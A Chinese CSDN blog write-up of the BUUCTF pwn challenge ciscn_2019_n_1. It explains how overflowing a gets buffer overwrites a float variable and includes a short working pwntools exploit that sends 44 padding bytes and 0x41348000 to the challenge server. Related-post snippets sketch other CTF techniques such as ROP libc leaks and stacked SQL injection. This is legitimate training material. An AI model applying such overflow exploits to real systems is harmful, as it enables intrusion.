BUUCTF ciscn_2019_n_1 1

最新推荐文章于 2024-03-26 16:03:16 发布

bug小空

最新推荐文章于 2024-03-26 16:03:16 发布

阅读量175

点赞数

分类专栏： # pwn 文章标签： buuctf ctf pwn

本文链接：https://blog.csdn.net/qq_56313338/article/details/132790081

版权

pwn 专栏收录该内容

6 篇文章 0 订阅

订阅专栏

分析

使用file命令查看文件信息
在这里插入图片描述

使用IDA64打开文件
在这里插入图片描述
进入func函数

如果 v2 等于 11.28125 就可以拿到flag
可以看到v1有栈溢出，并且v1在v2的上面，可以通过溢出v2来覆盖v1的值从而获取flag

首先v1是浮点数 11.28125 的二进制是 0x413480

exp

from pwn import *

context.arch = 'amd64'
p = remote('node4.buuoj.cn',26625)

p.sendline(flat([b'a'*(0x30-4) , 0x41348000]))

p.interactive()

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

bug小空

关注关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
BUUCTF ciscn_2019_n_1 1

可以通过溢出v2来覆盖v1的值从而获取flag首先v1是浮点数11.28125的二进制是0x413480。
复制链接

扫一扫

专栏目录

BUUCTF—ciscn_2019_n_1 1

qq_41560595的博客

09-24

4266

这道题是栈溢出题型，又不同于一般的栈溢出，在此做个总结。查看权限拖入IDA，F5可用函数解题思路：这道题的意思是输入字符串v1，判断v2。考虑输入长字符串覆盖到存储v2的内存空间，把v2的值改掉。因此，覆盖0x30-0x4=44个字节给v1，另外4个字节给v2 由于v2数值在内存中以16进制存储，所以，找到11.28125的16进制值。存在两个比较指令，双击进去。 0x41348000就是16进制的11.28125。编写脚本 from pwn import * p=remote('

BUUCTF ciscn_2019_n_1

RookieMOR的博客

05-14

608

1.下载文件，用checksec一下： 2.用IDA64查看，进入func函数：当v2=11.28125时获得flag，但只有v1的输入，没有v2输入。因为有一个gets函数，点击v1，v2可以知道，v1与v2差44个字节，可以通过输入v1的值去改变v2的值，实现栈溢出。查看汇编可以看到有一个uconiss的比较指令，把xmm0与cs:dword_4007F4，由movss可以知道xmme0是v1或v2的值，那么点击dword_4007F4 看到一个 dd ，百度一下可以知道，.

参与评论您还未登录，请先登录后发表或查看评论

三种方式搞定buuctf之ciscn_2019_n_1

最新发布

weixin_54452942的博客

03-26

590

三种方法解ciscn_2019_n_1，简单易懂，走过路过不要错过

[每日一PWN]BUUCTF ciscn_2019_n_1

qq_55233040的博客

11-21

408

这道题双解，一种ret2text，另一种就是单纯的覆盖数据改变判断结果。

[BUUCTF-pwn]——ciscn_2019_n_1

Y_peak的博客

01-31

914

[BUUCTF-pwn]——ciscn_2019_n_1 [BUUCTF-pwn]——ciscn_2019_n_1思路一 —— 覆盖局部变量思路二 —— 覆盖返回地址题目地址：https://buuoj.cn/challenges#ciscn_2019_n_1 题目：老规矩下载下来后，在Linux上checksec一下，64位，并且没有开启栈保护，意味着我们可以利用栈溢出在IDA中看一下，main函数里面没有什么可以利用的双击func函数看看，就是我们想要的。思路一 —— 覆盖局部变量

BUUCTF Pwn ciscn_2019_n_1 1

qq_45200829的博客

11-08

323

BUUCTF Pwn类型 ciscn_2019_n_1 1 解题过程

get_started_3dsctf_2016|get_started_3dsctf_2016

12-11

网络安全逆向PWN题目，简单的栈溢出，虽然有后门函数，但同时又给了一定的限制条件，可以使用更复杂的ROP解法。该样本题解：https://blog.csdn.net/A951860555/article/details/111030289

BUUCTF-PWN-[ZJCTF 2019]Login

07-10

BUUCTF-PWN-[ZJCTF 2019]Login

BUUCTF逆向前八题

01-24

内容为BUUCTF里reserve的前八题自己的一些解题思路

Always-Y#Binary_study#IDA-Linux远程调试1

07-25

起因今天刷BUUCTF第三题 Reverse2，由于该程序石ELF格式，只能运行在Linux，动态调试需要GDB，对此我并不熟悉因此，跟大佬学习了，将软件放在L

【BUUCTF】web之强网杯2019随便注

12-14

1’ : 报错 1’ #：回显正常 1’ order by 1 #: 正常（经测试列数为2–此处小白暗自窃喜） 1’ union select 1,2#: 回显如图看来此方法是行不通了，但经过苦苦寻求，了解到了堆叠注入：库：1’;show databases;# ...

BUUCTF ciscn_2019_es_1

doudoudedi

01-04

885

我本地直接用fastbin attack直接能打通但是远程似乎有问题思路首先申请一个smallbin大小的trunk然后释放打印得到libc基址,然后double free打fastbin attack之后写到libc去__malloc_hook写入one_gadget再次add获取shell 以下为ubuntu16的环境下本地也就是libc-2.23 exp: #!/usr/bin/pyth...

初学pwn-BUUCTF(ciscn_2019_n_1)

天柱的博客

08-31

579

初学pwn-writeUp BUUCTF的第四道题，ciscn-2019_n_1。首先还是链接远端查看一下。这里提示让猜一个数字，然后他告诉我们，这个数字应该是11.28125。这就有点掩耳盗铃了呀，但是输入了11.28125，还是在说应该输入11.28125。可能是有点问题，ida打开查看一下。可以看到主函数里，调用了三个函数，前两个都是set某个值，我们直接看func函数。那这就很明显了，刚刚输入的值赋给了v1，但是这里是要让v2的值等于11.28125才可以。查看一下地址。嗯，跟想象

BUUCTF-ciscn_2019_ne_51

Rt1Text的博客

10-09

223

根据文件名可知是other shellcode。

BUUCTF刷题之路-ciscn_2019_n_11

qq_30528603的博客

05-27

172

非常简单的逻辑，类似于一个猜数字游戏，猜对了弹出flag，失败了还贴心的告诉你可能值。我们要做的就是修改v2变量的内容，让他等于11.28125。这次我们不需要覆盖返回地址只需要改v2的值就好了。接着我们算一下偏移【rbp-30h-rbp+4h】得到偏移为44个字节。意思就是说我们在44个字节之后填入11.28125覆盖v2的值就能使if语句成立。题目只开启了堆栈不可执行。无非就是不能在栈上执行shellcode无伤大雅。

BUUCTF ciscn_2019_c_1

、moddemod

06-01

1256

跑一下程序，大致流程是到现在程序就基本分析完成，接下来需要构造rop泄露libc地址然后利用system等函数获得shell 我们首先要获得libc的基地址，可以通过puts函数入手，这里解释一下为什么通过puts函数而不通过其他函数，因为puts函数在我们进入encrypt函数之前已经调用了很多次了，对于每一个动态链接而言，第一次调用完成以后，就修正了.got表中的对应的puts函数的地址，所以我们可以通过puts函数泄露。 from pwn import * from LibcSearc.

[BUUCTF]PWN5——ciscn_2019_n_1

mcmuyanga的博客

08-25

1497

[BUUCTF]4——ciscn_2019_n_1 题目网址：https://buuoj.cn/challenges#ciscn_2019_n_1 步骤：例行检查，64位，开启了nx保护 nc一下看看输入点的字符串，看运行结果猜测是一个猜数的程序，而且需要我们猜的数应该是11.28125 输入11.28125，发现还是不对用64位ida打开，首先shift+f12查看程序里的字符串，发现了 “ cat /flag ” 双击跟进，ctrl+x找到调用这个字符串的函数我们可以看到第10行的if

BUUCTF ciscn_2019_c_1(rop_x64,泄露libc)

菜的只能随便写写博客

11-26

5842

由于Ubuntu18的环境很迷，这个题目只在kali上用本地libc完成过，脚本也是kali环境的 0x1 检查文件 64位elf 无canary 无PIE 0x02 流程分析根据运行的流程，这个程序主要有两个功能，加密功能可以使用，但解密功能没办法使用，并且能够输入的地方就两个，一个选择程序，数字输入，第二个输入加密文本，字符串类型，之后的静态分析主要关注这两个地方。 0x02...

buuctf luky_guy

09-28

Luky库是一组抽象复杂操作的Java类，它提供了各种功能，包括网络...根据提供的引用内容，无法直接了解到buuctf luky_guy的具体信息。如果您能提供更多关于buuctf luky_guy的背景信息，我可以尝试为您提供更准确的答案。

“相关推荐”对你有帮助么？

非常没帮助
没帮助
一般
有帮助
非常有帮助

提交